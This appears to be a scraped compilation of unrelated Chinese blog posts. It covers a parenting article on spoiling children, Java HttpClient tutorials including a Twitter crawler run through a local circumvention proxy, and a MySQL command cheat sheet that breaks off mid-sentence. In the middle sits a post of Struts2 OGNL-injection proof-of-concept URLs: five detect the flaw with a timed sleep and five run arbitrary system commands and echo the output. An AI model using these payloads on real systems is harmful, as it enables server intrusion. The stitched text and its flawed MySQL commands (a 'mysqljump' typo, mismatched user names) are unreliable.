10种典型的溺爱形式

以下文字是yoyo班主任老师共享的,感觉条条入情入理,所以收藏起来日后与yoyo共享。

 

==========================================================

1.特殊待遇

孩子在家庭中的地位高人一等,处处特殊照顾,如吃“独食”,好的食品放在他面前供他一人享用;做“独生”,爷爷奶奶可以不过生日,孩子过生日得买大蛋糕,送礼物……这样的孩子自感特殊,习惯于高人一等,必然变得自私,没有同情心,不会关心他人。

2.过分注意

一家人时刻关照他,陪伴他。过年过节,亲戚朋友来了往往嘻笑逗引没完,有时候大人坐一圈把他围在中心,一再欢迎孩子表演节目,掌声不断。这样的孩子自认为自己是中心,确实变成“小太阳”了。家里人都要围着他转,并且一天到晚不得安宁,注意力极其分散,“人来疯”也特别严重,甚至客人来了闹得没法谈话。

3.轻易满足

孩子要什么就给什么。有的父母还给幼儿和小学生很多零花钱,孩子的满足就更轻易了。这种孩子必然养成不珍惜物品、讲究物质享受、浪费金钱和不体贴他人的坏性格,并且毫无忍耐和吃苦精神。

4.生活懒散

允许孩子饮食起居、玩耍学习没有规律,要怎样就怎样,睡懒觉,不吃饭,白天游游荡荡,晚上看电视到深夜等。这样的孩子长大后缺乏上进心、好奇心,做人得过且过,做事心猿意马,有始无终。

5.祈求央告

例如边哄边求孩子吃饭睡觉,答应给孩子讲3个故事才把饭吃完。孩子的心理是,你越央求他他越扭捏作态,不但不能明辨是非,培养不出责任心和落落大方的性格,而且教育的威信也丧失殆尽。

6.包办代替

我曾问一些妈妈,要不要求孩子劳动,有的竟说:“我疼都来不及,还忍心让孩子劳动?”也有的说:“叫”小东西”做事更麻烦,还不如我帮他做了。”所以三四岁的孩子还要喂饭,还不会穿衣,五六岁的孩子还不做任何家务事,不懂得劳动的愉快和帮助父母减轻负担的责任,这样包办下去,必然失去一个勤劳、善良、富有同情心的能干、上进的孩子。这决不是耸人听闻。

7.大惊小怪

本来“初生牛犊不怕虎”,孩子不怕水,不怕黑,不怕摔跤,不怕病痛。摔跤以后往往自己不声不响爬起来继续玩。后来为什么有的孩子胆小爱哭了呢?那往往是父母和祖父母造成的,孩子有病痛时表现惊慌失措,娇惯的最终结果是孩子不让父母离开一步。这些孩子就打下懦弱的烙印了。

8.剥夺独立

为了绝对安全,父母不让孩子走出家门,也不许他和别的小朋友玩。更有甚者,有的孩子成了“小尾巴”,时刻不能离开父母或老人一步,搂抱着睡,偎依着坐,驮在背上走;含在嘴里怕融化,吐出来怕飞走。这样的孩子会变得胆小无能,丧失自信,养成依赖心理,还往往成为“把门虎”,在家里横行霸道,到外面胆小如鼠,造成严重性格缺陷。

9.害怕哭闹

由于从小迁就孩子,孩子在不顺心时以哭闹、睡地、不吃饭来要挟父母。溺爱的父母就只好哄骗,投降,依从,迁就。害怕孩子哭闹的父母是无能的父母;打骂爸妈的孩子会变成无情的逆子,在性格中播下了自私、无情、任性和缺乏自制力的种子。

10.当面袒护

有时爸爸管孩子,妈妈护着:“不要太严了,他还小呢。”有的父母教孩子,奶奶会站出来说话:“你们不能要求太急,他大了自然会好;你们小的时候,还远远没有他好呢!”这样的孩子当然是“教不了”啦!因为他全无是非观念,而且时时有“保护伞”和“避难所”,其后果不仅孩子性格扭曲,有时还会造成家庭不睦。

以上的实例不是每个家庭全部都有的,但是一般家庭在各种溺爱中会占有几种,或各种都有轻度表现也是值得警惕的,我们要以科学的爱,来保护孩子的健康成长。

“溺”,词典上解释为“淹没”的意思。人被水淹没了叫“溺毙”,如果父母的爱流横溢泛滥起来,那也会“淹没”孩子的,这就是溺爱,是一种失去理智,直接摧残儿童身心健康的爱。

from : http://hi.baidu.com/yoyoe/item/40a71cf83cb87146922af277

Struts2 5个远程代码执行漏洞利用POC

利用代码:
检测是否存在:
POC1:
http://127.0.0.1/Struts2/test.action?(‘\43_memberAccess.allowStaticMethodAccess’)(a)=true&(b)((‘\43context[\’xwork.MethodAccessor.denyMethodExecution\’]\75false’)(b))&(‘\43c’)((‘\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET’)(c))&(d)((‘@java.lang.Thread@sleep(5000)’)(d))

POC2:
http://127.0.0.1/Struts2/test.action?id=’%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b’

POC3:
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true

POC4:
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)(‘aa’)]

POC5(执行了两次所以是10秒):
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}

执行CMD命令:
关于回显:webStr\75new\40byte[100] 修改为合适的长度。
POC1:
http://127.0.0.1/Struts2/test.action?(‘\43_memberAccess.allowStaticMethodAccess’)(a)=true&(b)((‘\43context[\’xwork.MethodAccessor.denyMethodExecution\’]\75false’)(b))&(‘\43c’)((‘\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET’)(c))&(g)((‘\43req\75@org.apache.struts2.ServletActionContext@getRequest()’)(d))&(h)((‘\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))’)(d))&(i)((‘\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())’)(d))&(i01)((‘\43webStr\75new\40byte[100]’)(d))&(i1)((‘\43webRootzproreader.readFully(\43webStr)’)(d))&(i111)((‘\43webStr12\75new\40java.lang.String(\43webStr)’)(d))&(i2)((‘\43xman\75@org.apache.struts2.ServletActionContext@getResponse()’)(d))&(i2)((‘\43xman\75@org.apache.struts2.ServletActionContext@getResponse()’)(d))&(i95)((‘\43xman.getWriter().println(\43webStr12)’)(d))&(i99)((‘\43xman.getWriter().close()’)(d))&cmd=cmd%20/c%20ipconfig

POC2:
http://127.0.0.1/Struts2/test.action?id=’%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b’&cmd=cmd%20/c%20ipconfig

POC3:
http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)(‘meh’)]=true&cmd=cmd%20/c%20set

POC4:
http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)(‘aa’)]&cmd=cmd%20/c%20netstat%20-an

POC5:
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
发几张图证明下:

2013052221372969731.jpg - 大小: 200.8 KB - 尺寸:  x  - 点击打开新窗口浏览全图
2013052221374142822.jpg - 大小: 171.86 KB - 尺寸:  x  - 点击打开新窗口浏览全图
2013052221375064643.jpg - 大小: 175.54 KB - 尺寸:  x  - 点击打开新窗口浏览全图
http://ahack.iteye.com/blog/1858871
http://ahack.iteye.com/blog/1873005

twitter爬虫简单实现||翻墙爬虫||Java翻墙

使用HttpClient4.2和常用的翻墙工具:例如无界浏览,自由门或者puff等都可以。在本地打开翻墙软件,本例自由门:

1可以看到代理端口,上图中未8580.

使用httpclient然后设置本地代理抓取twitter,代码如下:

package IPV6Demo;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.URL;

import org.apache.http.HttpEntity;
import org.apache.http.HttpHost;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.conn.params.ConnRoutePNames;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.client.ProxyClient;

public class IPv6Connection {
public static void main(String args[])
{
URI ui = null;
try {
ui = new URI(“https://twitter.com”);
System.out.println(ui.getHost());
System.out.println(ui.isAbsolute());

HttpClient hc = null;
hc = new DefaultHttpClient();
HttpHost proxy = new HttpHost(“127.0.0.1″,8580);
hc.getParams().setParameter(ConnRoutePNames.DEFAULT_PROXY, proxy);

HttpGet hg = new HttpGet(ui);

HttpResponse hr = null;
hr = hc.execute(hg);
System.out.println(hr.getStatusLine());
HttpEntity en = hr.getEntity();
InputStream in = en.getContent();
BufferedReader br = new BufferedReader(new InputStreamReader(in,”UTF-8″));
String temp = null;
while( (temp = br.readLine())!=null )
{
System.out.println(temp);
}
br.close();

} catch (URISyntaxException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}

}

 

结果:

twitter.com
true
HTTP/1.1 200 OK
<!DOCTYPE html>
<!–[if IE 8]><html class=”lt-ie10 ie8 ” lang=”en”
data-fouc-class-names=”swift-loading”><![endif]–>
<!–[if IE 9]><html class=”lt-ie10 ie9 ” lang=”en”
data-fouc-class-names=”swift-loading”><![endif]–>
<!–[if gt IE 9]><!–><html lang=”en” class=””
data-fouc-class-names=”swift-loading”><!–<![endif]–>
<head>

<meta charset=”utf-8″>
<title>Twitter</title>
<meta http-equiv=”X-UA-Compatible” content=”IE=9,chrome=1″>

<meta name=”description” content=”Instantly connect to what&#39;s most important to you. Follow your friends, experts, favorite celebrities, and breaking news.”>

。。。。整个twitter首页源代码省略

</html>

 

 

面对twitter的网络爬虫的一些设计思路 ||Java 翻墙 || Java 代理

正在做关于twitter的数据挖掘的研究,先期需要获取一定量的数据,尝试做了一个小的爬虫。
几个碰到的问题和自己的解决思路,和大家交流一下,第一次先谈谈一些基本问题

1 由于众所皆知的原因,twitter不能直接访问

解决方法无外乎代理。笔者尝试过利用gae假设一个api的方法,但是速度并不理想,如今使用puff做代理直接访问,这个软件会在本机1984端口设立代理
基于httpclient的简单代码如下:

Java代码  收藏代码
  1. HttpClient client = new HttpClient();
  2. client.getHostConfiguration().setProxy(“127.0.0.1”, 1984);
  3. client.getParams().setAuthenticationPreemptive(true);

2 选择爬取对象

常规意义的爬虫是面对网页的爬取,不过twitter由于其api的开放性,完全可以面对api来做爬取。这样做的好处很多,不用抽取网页内容、每次请求的http包长度减小,当然,twitter对于api的使用是有一定限制的,官方文档里提及每小时只能请求150次,这个对于高性能的爬虫来说是一个很致命的缺点。对于这点,笔者打算采取分布式架构,从多个客户端去爬取信息,虽然每个爬虫的爬取速度受限,但数量多了,应该能满足要求。

3 获取好友列表

twitter官网的api文档给定了请求response的格式分为xml、json、rss三种,这里笔者选用了json。
对于单一用户的好友,有两种请求方法
http://twitter.com/statuses/friends.json?screen_name=xxx
http://twitter.com/statuses/friends/xxx.json?cursor=-1
前者请求前100个好友,返回jsonarray
而后者则采用分页方式请求,返回jsonobject,其中cursor是请求的起始标志位,在回复的json中会有next_cursor_str这一属性表示下一次分页请求的起始标志位,当这一属性为0,表示好友已经请求完了。

附上获取全部friends的简单代码

Java代码  收藏代码
  1. String pageString = “http://twitter.com/statuses/friends/xxx.json?cursor=”;
  2. ist<String> friendsList = new ArrayList<String>(200);
  3. private void getList(String str) {
  4.     GetMethod get = new GetMethod(pageString + str);
  5.     try {
  6.         client.executeMethod(get);
  7.         String responseString = get.getResponseBodyAsString();
  8.         JSONObject object;
  9.         JSONArray array;
  10.         object = JSONObject.fromObject(responseString);
  11.         array = object.getJSONArray(“users”);
  12.         String crusor = object.getString(“next_cursor_str”);
  13.         for (int i = 0; i < array.size(); i++) {
  14.             object = array.getJSONObject(i);
  15.             friendsList.add(object.getString(“screen_name”));
  16.             // System.out.println(object.getString(“id”));
  17.         }
  18.         if (!crusor.equals(“0”)) {
  19.             getList(crusor);
  20.         }
  21.     } catch (HttpException e) {
  22.         // TODO Auto-generated catch block
  23.         e.printStackTrace();
  24.     } catch (IOException e) {
  25.         // TODO Auto-generated catch block
  26.         e.printStackTrace();
  27.     }
  28. }

其中用到了json-lib这个json解析库,效率、便捷性方面都有缺陷,后期再找寻替代品。

4 获取特定好友的time_line

关于这个需求,api的基本限制是最多只能获取单一用户的前3200条twitter,当然对于以获取研究数据为目的的简单爬虫来说已经够用了。

基本请求格式为
http://twitter.com/statuses/user_timeline/xxx.json?page=x&count=x
其中count最多为200,没有标志位,但是可以通过用户状态获取用户的tweet总数,然后知道分页的信息。

简单获取用户time_line的代码

Java代码  收藏代码
  1. String stautsString = “http://twitter.com/statuses/user_timeline/xxx.json?count=x&page=x”;
  2. private void getStauts() {
  3.     GetMethod get = new GetMethod(stautsString);
  4.     try {
  5.         client.executeMethod(get);
  6.         String responseString = get.getResponseBodyAsString();
  7.         System.out.println(responseString);
  8.         JSONObject object;
  9.         JSONArray array;
  10.         array = JSONArray.fromObject(responseString);
  11.         System.out.println(array.size());
  12.         for (int i = 0; i < array.size(); i++) {
  13.             object = array.getJSONObject(i);
  14.             System.out.println(object.getString(“text”));
  15.         }
  16.     } catch (HttpException e) {
  17.         // TODO Auto-generated catch block
  18.         e.printStackTrace();
  19.     } catch (IOException e) {
  20.         // TODO Auto-generated catch block
  21.         e.printStackTrace();
  22.     }
  23. }

 

From:  http://unbounder.iteye.com/blog/582354

httpclient4.2.2的几个常用方法,登录之后访问页面问题,下载文件

转账注明出处:http://renjie120.iteye.com/blog/1727933

 

在工作中要用到android,然后进行网络请求的时候,打算使用httpClient。

总结一下httpClient的一些基本使用。

版本是4.2.2。

 

使用这个版本的过程中,百度很多,结果都是出现的org.apache.commons.httpclient.这个包名,而不是我这里的org.apache.http.client.HttpClient———-前者版本是 Commons HttpClient 3.x ,不是最新的版本HttpClient 4.×。

 

官网上面:

 

Commons HttpClient 3.x codeline is at the end of life. All users of Commons HttpClient 3.x are strongly encouraged to upgrade to HttpClient 4.1.

 

 

1.基本的get

 

Java代码  收藏代码
  1. public void getUrl(String url, String encoding)
  2.             throws ClientProtocolException, IOException {
  3.         // 默认的client类。
  4.         HttpClient client = new DefaultHttpClient();
  5.         // 设置为get取连接的方式.
  6.         HttpGet get = new HttpGet(url);
  7.         // 得到返回的response.
  8.         HttpResponse response = client.execute(get);
  9.         // 得到返回的client里面的实体对象信息.
  10.         HttpEntity entity = response.getEntity();
  11.         if (entity != null) {
  12.             System.out.println(“内容编码是:” + entity.getContentEncoding());
  13.             System.out.println(“内容类型是:” + entity.getContentType());
  14.             // 得到返回的主体内容.
  15.             InputStream instream = entity.getContent();
  16.             try {
  17.                 BufferedReader reader = new BufferedReader(
  18.                         new InputStreamReader(instream, encoding));
  19.                 System.out.println(reader.readLine());
  20.             } catch (Exception e) {
  21.                 e.printStackTrace();
  22.             } finally {
  23.                 instream.close();
  24.             }
  25.         }
  26.         // 关闭连接.
  27.         client.getConnectionManager().shutdown();
  28.     }

 

2.基本的Post

下面的params参数,是在表单里面提交的参数。

 

Java代码  收藏代码
  1. public void postUrlWithParams(String url, Map params, String encoding)
  2.             throws Exception {
  3.         DefaultHttpClient httpclient = new DefaultHttpClient();
  4.         try {
  5.             HttpPost httpost = new HttpPost(url);
  6.             // 添加参数
  7.             List<NameValuePair> nvps = new ArrayList<NameValuePair>();
  8.             if (params != null && params.keySet().size() > 0) {
  9.                 Iterator iterator = params.entrySet().iterator();
  10.                 while (iterator.hasNext()) {
  11.                     Map.Entry entry = (Entry) iterator.next();
  12.                     nvps.add(new BasicNameValuePair((String) entry.getKey(),
  13.                             (String) entry.getValue()));
  14.                 }
  15.             }
  16.             httpost.setEntity(new UrlEncodedFormEntity(nvps, Consts.UTF_8));
  17.             HttpResponse response = httpclient.execute(httpost);
  18.             HttpEntity entity = response.getEntity();
  19.             System.out.println(“Login form get: ” + response.getStatusLine()
  20.                     + entity.getContent());
  21.             dump(entity, encoding);
  22.             System.out.println(“Post logon cookies:”);
  23.             List<Cookie> cookies = httpclient.getCookieStore().getCookies();
  24.             if (cookies.isEmpty()) {
  25.                 System.out.println(“None”);
  26.             } else {
  27.                 for (int i = 0; i < cookies.size(); i++) {
  28.                     System.out.println(“- ” + cookies.get(i).toString());
  29.                 }
  30.             }
  31.         } finally {
  32.             // 关闭请求
  33.             httpclient.getConnectionManager().shutdown();
  34.         }
  35.     }

 

3。打印页面输出的小代码片段

 

Java代码  收藏代码
  1. private static void dump(HttpEntity entity, String encoding)
  2.             throws IOException {
  3.         BufferedReader br = new BufferedReader(new InputStreamReader(
  4.                 entity.getContent(), encoding));
  5.         System.out.println(br.readLine());
  6.     }

 

4.常见的登录session问题,需求:使用账户,密码登录系统之后,然后再访问页面不出错。

 

特别注意,下面的httpclient对象要使用一个,而不要在第二次访问的时候,重新new一个。至于如何保存这个第一步经过了验证的httpclient,有很多种方法实现。单例,系统全局变量(android 下面的Application),ThreadLocal变量等等。

 

以及下面创建的httpClient要使用ThreadSafeClientConnManager对象!

 

public String getSessionId(String url, Map params, String encoding,

Java代码  收藏代码
  1.         String url2) throws Exception {
  2.     DefaultHttpClient httpclient = new DefaultHttpClient(
  3.             new ThreadSafeClientConnManager());
  4.     try {
  5.         HttpPost httpost = new HttpPost(url);
  6.         // 添加参数
  7.         List<NameValuePair> nvps = new ArrayList<NameValuePair>();
  8.         if (params != null && params.keySet().size() > 0) {
  9.             Iterator iterator = params.entrySet().iterator();
  10.             while (iterator.hasNext()) {
  11.                 Map.Entry entry = (Entry) iterator.next();
  12.                 nvps.add(new BasicNameValuePair((String) entry.getKey(),
  13.                         (String) entry.getValue()));
  14.             }
  15.         }
  16.         // 设置请求的编码格式
  17.         httpost.setEntity(new UrlEncodedFormEntity(nvps, Consts.UTF_8));
  18.         // 登录一遍
  19.         httpclient.execute(httpost);
  20.         // 然后再第二次请求普通的url即可。
  21.         httpost = new HttpPost(url2);
  22.         BasicResponseHandler responseHandler = new BasicResponseHandler();
  23.         System.out.println(httpclient.execute(httpost, responseHandler));
  24.     } finally {
  25.         // 关闭请求
  26.         httpclient.getConnectionManager().shutdown();
  27.     }
  28.     return “”;
  29. }

 

5.下载文件,例如mp3等等。

 

Java代码  收藏代码
  1. //第一个参数,网络连接;第二个参数,保存到本地文件的地址
  2. public void getFile(String url, String fileName) {
  3.         HttpClient httpClient = new DefaultHttpClient();
  4.         HttpGet get = new HttpGet(url);
  5.         try {
  6.             ResponseHandler<byte[]> handler = new ResponseHandler<byte[]>() {
  7.                 public byte[] handleResponse(HttpResponse response)
  8.                         throws ClientProtocolException, IOException {
  9.                     HttpEntity entity = response.getEntity();
  10.                     if (entity != null) {
  11.                         return EntityUtils.toByteArray(entity);
  12.                     } else {
  13.                         return null;
  14.                     }
  15.                 }
  16.             };
  17.             byte[] charts = httpClient.execute(get, handler);
  18.             FileOutputStream out = new FileOutputStream(fileName);
  19.             out.write(charts);
  20.             out.close();
  21.         } catch (Exception e) {
  22.             e.printStackTrace();
  23.         } finally {
  24.             httpClient.getConnectionManager().shutdown();
  25.         }
  26.     }

 

6.创建一个多线程环境下面可用的httpClient

(原文:http://blog.csdn.net/jiaoshi0531/article/details/6459468

 

Java代码  收藏代码
  1.               HttpParams params = new BasicHttpParams();
  2. //设置允许链接的做多链接数目
  3. ConnManagerParams.setMaxTotalConnections(params, 200);
  4. //设置超时时间.
  5. ConnManagerParams.setTimeout(params, 10000);
  6. //设置每个路由的最多链接数量是20
  7. ConnPerRouteBean connPerRoute = new ConnPerRouteBean(20);
  8. //设置到指定主机的路由的最多数量是50
  9. HttpHost localhost = new HttpHost(“127.0.0.1”,80);
  10. connPerRoute.setMaxForRoute(new HttpRoute(localhost), 50);
  11. ConnManagerParams.setMaxConnectionsPerRoute(params, connPerRoute);
  12. //设置链接使用的版本
  13. HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1);
  14. //设置链接使用的内容的编码
  15. HttpProtocolParams.setContentCharset(params,
  16.         HTTP.DEFAULT_CONTENT_CHARSET);
  17. //是否希望可以继续使用.
  18. HttpProtocolParams.setUseExpectContinue(params, true);
  19. SchemeRegistry schemeRegistry = new SchemeRegistry();
  20. schemeRegistry.register(new Scheme(“http”,PlainSocketFactory.getSocketFactory(),80));
  21. schemeRegistry.register(new Scheme(“https”,SSLSocketFactory.getSocketFactory(),443));
  22. ClientConnectionManager cm = new ThreadSafeClientConnManager(params,schemeRegistry);
  23. httpClient = new DefaultHttpClient(cm, params);

 

7.实用的一个对象,http上下文,可以从这个对象里面取到一次请求相关的信息,例如request,response,代理主机等。

 

Java代码  收藏代码
  1. public static void getUrl(String url, String encoding)
  2.             throws ClientProtocolException, IOException {
  3.         // 设置为get取连接的方式.
  4.         HttpGet get = new HttpGet(url);
  5.         HttpContext localContext = new BasicHttpContext();
  6.         // 得到返回的response.第二个参数,是上下文,很好的一个参数!
  7.         httpclient.execute(get, localContext);
  8.         // 从上下文中得到HttpConnection对象
  9.         HttpConnection con = (HttpConnection) localContext
  10.                 .getAttribute(ExecutionContext.HTTP_CONNECTION);
  11.         System.out.println(“socket超时时间:” + con.getSocketTimeout());
  12.         // 从上下文中得到HttpHost对象
  13.         HttpHost target = (HttpHost) localContext
  14.                 .getAttribute(ExecutionContext.HTTP_TARGET_HOST);
  15.         System.out.println(“最终请求的目标:” + target.getHostName() + “:”
  16.                 + target.getPort());
  17.         // 从上下文中得到代理相关信息.
  18.         HttpHost proxy = (HttpHost) localContext
  19.                 .getAttribute(ExecutionContext.HTTP_PROXY_HOST);
  20.         if (proxy != null)
  21.             System.out.println(“代理主机的目标:” + proxy.getHostName() + “:”
  22.                     + proxy.getPort());
  23.         System.out.println(“是否发送完毕:”
  24.                 + localContext.getAttribute(ExecutionContext.HTTP_REQ_SENT));
  25.         // 从上下文中得到HttpRequest对象
  26.         HttpRequest request = (HttpRequest) localContext
  27.                 .getAttribute(ExecutionContext.HTTP_REQUEST);
  28.         System.out.println(“请求的版本:” + request.getProtocolVersion());
  29.         Header[] headers = request.getAllHeaders();
  30.         System.out.println(“请求的头信息: “);
  31.         for (Header h : headers) {
  32.             System.out.println(h.getName() + “–” + h.getValue());
  33.         }
  34.         System.out.println(“请求的链接:” + request.getRequestLine().getUri());
  35.         // 从上下文中得到HttpResponse对象
  36.         HttpResponse response = (HttpResponse) localContext
  37.                 .getAttribute(ExecutionContext.HTTP_RESPONSE);
  38.         HttpEntity entity = response.getEntity();
  39.         if (entity != null) {
  40.             System.out.println(“返回结果内容编码是:” + entity.getContentEncoding());
  41.             System.out.println(“返回结果内容类型是:” + entity.getContentType());
  42.             dump(entity, encoding);
  43.         }
  44.     }

输出结果大致如下:

 

Txt代码  收藏代码
  1. socket超时时间:0
  2. 最终请求的目标:money.finance.sina.com.cn:-1
  3. 是否发送完毕:true
  4. 请求的版本:HTTP/1.1
  5. 请求的头信息:
  6. Host–money.finance.sina.com.cn
  7. Connection–Keep-Alive
  8. User-Agent–Apache-HttpClient/4.2.2 (java 1.5)
  9. 请求的链接:/corp/go.php/vFD_BalanceSheet/stockid/600031/ctrl/part/displaytype/4.phtml
  10. 返回结果内容编码是:null
  11. 返回结果内容类型是:Content-Type: text/html

 

8.设置代理

 

Java代码  收藏代码
  1.              //String  hostIp代理主机ip,int port  代理端口
  2. tpHost proxy = new HttpHost(hostIp, port);
  3. // 设置代理主机.
  4. tpclient.getParams().setParameter(ConnRoutePNames.DEFAULT_PROXY,
  5. proxy);

 

9.设置保持链接时间

 

Java代码  收藏代码
  1. //在服务端设置一个保持持久连接的特性.
  2.         //HTTP服务器配置了会取消在一定时间内没有活动的链接,以节省系统的持久性链接资源.
  3.         httpClient.setKeepAliveStrategy(new ConnectionKeepAliveStrategy() {
  4.             public long getKeepAliveDuration(HttpResponse response,
  5.                     HttpContext context) {
  6.                 HeaderElementIterator it = new BasicHeaderElementIterator(
  7.                         response.headerIterator(HTTP.CONN_KEEP_ALIVE));
  8.                 while (it.hasNext()) {
  9.                     HeaderElement he = it.nextElement();
  10.                     String param = he.getName();
  11.                     String value = he.getValue();
  12.                     if (value != null && param.equalsIgnoreCase(“timeout”)) {
  13.                         try {
  14.                             return Long.parseLong(value) * 1000;
  15.                         } catch (Exception e) {
  16.                         }
  17.                     }
  18.                 }
  19.                 HttpHost target = (HttpHost)context.getAttribute(ExecutionContext.HTTP_TARGET_HOST);
  20.                 if(“www.baidu.com”.equalsIgnoreCase(target.getHostName())){
  21.                     return 5*1000;
  22.                 }
  23.                 else
  24.                     return 30*1000;
  25.             }
  26.         });

 

转账注明出处:http://renjie120.iteye.com/blog/1727933

MySQL导入.sql文件及常用命令

MySQL导入.sql文件及常用命令

 

 

在MySQL Qurey   Brower中直接导入*.sql脚本,是不能一次执行多条sql命令的,在mysql中执行sql文件的命令:

mysql> source   d:/myprogram/database/db.sql;

另附mysql常用命令:

一) 连接MYSQL:

格式: mysql -h主机地址 -u用户名 -p用户密码

1、例1:连接到本机上的MYSQL

首先在打开DOS窗口,然后进入mysql安装目录下的bin目录下,例如: D:/mysql/bin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql>

2、例2:连接到远程主机上的MYSQL (远程:IP地址)

假设远程主机的IP为:10.0.0.1,用户名为root,密码为123。则键入以下命令:

mysql -h10.0.0.1 -uroot -p123

(注:u与root可以不用加空格,其它也一样)

3、退出MYSQL命令

exit (回车)

(二) 修改密码:

格式:mysqladmin -u用户名 -p旧密码 password 新密码

1、例1:给root加个密码123。首先在DOS下进入目录C:/mysql/bin,然后键入以下命令:

mysqladmin -uroot -password 123

注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。

2、例2:再将root的密码改为456

mysqladmin -uroot -pab12 password 456

(三) 增加新用户:(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

格式:grant select on 数据库.* to 用户名@登录主机 identified by “密码”

例1、增加一个用户test1密码为abc,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MYSQL,然后键入以下命令:     grant select,insert,update,delete on *.* to test2@localhost identified by “abc”;

如果你不想test2有密码,可以再打一个命令将密码消掉。     grant select,insert,update,delete on mydb.* to test2@localhostidentified by “”;

(四) 显示命令

1、显示数据库列表:

show databases;     刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

2、显示库中的数据表:

use mysql; //打开库    show tables;

3、显示数据表的结构:

describe 表名;

4、建库:

create database 库名;

5、建表:

use 库名;     create table 表名 (字段设定列表);

6、删库和删表:

drop database 库名;     drop table 表名;

7、将表中记录清空:

delete from 表名;

8、显示表中的记录:

select * from 表名;

导出sql脚本

 

mysqldump -u 用户名 -p 数据库名 > 存放位置

mysqldump -u root -p test > c:/a.sql

 

导入sql脚本

 

mysql -u 用户名 -p 数据库名 < 存放位置

mysqljump -u root -p test < c:/a.sql

 

注意,test数据库必须已经存在

MySQL导出导入命令的用例

1.导出整个数据库

 

mysqldump -u 用户名 -p 数据库名 > 导出的文件名

mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql

 

2.导出一个表

 

mysqldump -u 用户名 -p 数据库名表名> 导出的文件名

mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql

 

3.导出一个数据库结构

 

mysqldump -u wcnc -p -d –add-drop-table smgp_apps_wcnc >d:wcnc_db.sql

-d 没有数据 –add-drop-table 在每个create语句之前增加一个drop table

 

4.导入数据库

 

常用source 命令

进入mysql数据库控制台,

